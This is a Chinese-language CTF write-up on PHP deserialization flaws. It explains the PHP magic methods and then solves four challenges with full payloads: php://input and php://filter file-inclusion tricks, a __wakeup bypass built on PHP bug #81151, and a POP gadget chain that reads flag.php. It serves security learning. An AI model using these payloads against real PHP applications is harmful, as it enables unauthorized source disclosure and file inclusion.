基础知识

什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

PHP魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
1、__get、__set

这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法

__set( $property, $value ) 给一个未定义的属性赋值时调用

这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、__isset、__unset

__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法

__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法

与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

3、__call

__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload

__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、__construct、__destruct

__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称

__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法

默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.

在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset

6、__clone

PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

7、__toString

__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。

PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)

PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。

8、__sleep__wakeup

__sleep 串行化的时候用

__wakeup 反串行化的时候调用

serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、__set_state

当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。

10、__invoke

当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效

11、__callStatic

它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。

同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。

【level 1】Serialize??

题目分析

先了解一下序列化和反序列化的概念,

将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。

在PHP中主要用到了serialize()和unserialize()函数,对变量进行序列化与反序列化的操作

题解

  1. 打开题目发现没有内容,F12在控制台里面找到源码
1
2
3
4
5
$KEY = "skctf_you_got_it";
$str = $_GET['str'];
if (unserialize($str) === "$KEY") {
echo "flag";
}
  1. 给了两个变量,$KEY和$str,其中$str用GET传参传入一个值。对反序列化的$str和$KEY进行强比较
  2. 我们先在本地输出$KEY的序列化值
1
2
3
<?php
echo serialize("skctf_you_got_it");
s:16:"skctf_you_got_it";
  1. 得到输出,再把输出用GET方法传参给str

/?str=”skctf_you_got_it”;

  1. 拿到flag,结束

解题心得

初步接触了序列化和反序列化的知识

【Level4】Hard_inlcude_serialize

题目分析

这道题设计到的知识点比较多,反序列化和文件包含,反序列化的运用比较基础, 文件包含使用了伪协议php://filter来读取源文件

题解

  1. 打开后提示

no! you are not admin

  1. 打开burp拦包看一下
1
2
3
4
5
6
7
8
9
10
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="im the real admin")){
echo "you are admin now<br>";
include($file);
}else{
echo "no! you are not admin";
}
  1. 首先对user赋值admin,使用get传参的方法,有file_get_contents这个函数,我们用伪协议绕过

/?user=php://input im the real admin

  1. 这时候提示我们已经成功绕过,并且包含了变量file
  2. 再次使用伪协议读取源码

file=php://filter/read/convert.base64-encode/resource=index.php

  1. 解码得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="im the real admin")){
echo "you are admin now<br>";
if(preg_match("/fllaggg/i",$file)){
echo "no direct flag";
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "no! you are not admin";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="im the real admin")){
echo "you are admin now<br>";
include($file);
}else{
echo "no! you are not admin";
}
-->
  1. 这里发现一个class.php和fllaggg.php,flag就藏在fllaggg里面了,但是直接读取会被过滤掉,先利用file读取一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Read{//fllaggg.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$read=New Read();
$read->file='php://filter/read=convert.base64-encode/resource=fllaggg.php';
echo serialize($read);
?>
  1. 里面有一个Read类,执行后可以读取fllaggg里面的内容,拿到序列化

O:4:”Read”:1:{s:4:”file”;s:60:”php://filter/read=convert.base64-encode/resource=fllaggg.php”;}

  1. 最后回到index.php,构造出payload

?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:60:”php://filter/read=convert.base64-encode/resource=fllaggg.php”;}

  1. 得到fllaggg.php里面的base64编码
  2. 解码得到flag,结束

解题心得

这道题考察的综合能力比较强,需要弄明白每个函数以及变量的意义,才能顺藤摸瓜得到最后的flag,初步接触了序列化以及反序列化的应用

【level 2】 Have Fun(Bug #81151 bypass __wakeup)

题目分析

参考文章:PHP :: Bug #81151 :: bypass __wakeup

这是一道__wakeup()绕过的题,在低版本中,可以通过构造序列化中成员个数多于实际成员个数进行绕过 而本题的PHP版本号较高,无法进行这样的绕过,是一种新的方法

https://bugs.php.net/bug.php?id=81151

大概的意思是说以C开头的序列化字符,默认实现了Serializable接口,不再执行__wakeup()方法, 从而达到绕过的目的。其形式很固定,成员变量为0,且无赋值,

C:1:”E”:0:{}

题解

  1. 先看一下源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include('./flag.php');

class Interest_Game
{
public $start = True;

public function __destruct()
{
if ($this->start === True) {
echo "Game Start Here is your flag " . getenv('FLAG');
}
}

public function __wakeup()
{
$this->start = False;
}
}

if (isset($_GET['a_game.run'])) {
unserialize($_GET['a_game.run']);
} else {
highlight_file(__FILE__);
}

?>
  1. 只要start为True就可以拿到FLAG,而__wakeup()的执行会使得start赋值为False
  2. 先打印一个原对象的序列字符

O:13:”Interest_Game”:1:{s:5:”start”;b:1;}

  1. 将我们所需要的内容进行替换即可

C:13:”Interest_Game”:0:{}

  1. 之后将我们的序列化字符串赋值给a_game.run即可,但这里有一个坑
  2. PHP 会把.解析成_,也就是说在我们构造payload时,a_game.run会变成a_game_run,导致赋值失败
  3. 根据以上内容,构造出payload

a[game.run=C:13:”Interest_Game”:0:{}

  1. 成功拿到flag

解题心得

在第一个 [ 之前的字符中,忽略前置的空格,将 . 和 空格 替换成下划线 _ ; 在第一个 [ 之后的字符,不再进行替换处理: 若后续字符中 没有 ] 时,第一个 [ 替换成 _ ,后续字符串不做转换; 若后续字符中 有 ] 时,取到第一次出现 ] 的位置作为 key,舍弃后续字符。

pop pop pop??!!!

题目分析

本题主要考察了对各个类之间参数以及方法的调用,用了很多PHP的特性

题解

  1. 先看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class WTFFFF{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\\.\\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class ohohohnonono{
protected $var = "php://filter/read/convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
  1. 先简单分析说明一下个别关键函数的作用
1
2
3
$obj
__invoke() 对象被当成函数调用时--$obj()
__get() 访问对象没有的成员变量或是非public变量
  1. 反序列化首先需要__wakeup()函数,那么就是从WTFFFF这个类开始,这是pop链的开头,
  2. 在__wakeup()中有preg_match函数,会把变量当成string类型用,这时可以再调用另外一个WTFFFF中对象的__toString()方法
  3. 接下来访问Make_a_Change里面不存在的变量 $page,触发__get()方法
  4. 提前在ohohohnonono的对象中将var变量赋值我们需要的内容,最终出发include()函数
  5. pop链

WTFFFF : __wakeup() -> __toString() -> Make_a_Change : __get() -> ohohohnonono : __invoke()

  1. 写需要的代码
1
2
3
4
5
6
7
8
9
10
$a = new WTFFFF();
$b = new WTFFFF();
$c = new ohohohnonono();
$d = new Make_a_Change();

$b->page = $a;
$a->string = $d;
$d->effort = $c;

echo urlencode(serialize($b));
  1. 因为有protect范围变量,所以先进行一次url编码,将不可见字符转换掉

O%3A6%3A%22WTFFFF%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A6%3A%22WTFFFF%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A12%3A%22ohohohnonono%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

  1. 当然也可以手动加上不可见字符

O:6:”WTFFFF”:2:{s:4:”page”;O:6:”WTFFFF”:2:{s:4:”page”;s:9:”index.php”;s:6:”string”;O:13:”Make_a_Change”:1:{s:6:”effort”;O:12:”ohohohnonono”:1:{s:6:”%00*%00var”;s:57:”php://filter/read/convert.base64-encode/resource=flag.php”;}}}s:6:”string”;N;}

解题心得

在编程时我们往往要注意一个函数完成了哪些工作,在函数内调用别的函数后,后面是如何实现的,而在进行pop链解题时, 不必过分纠结这个问题,我们只需要看哪些函数中存在漏洞,至于这个函数有没有完整地执行完,并不是我们需要考虑的。 和自己在编程时有很大的思维转变。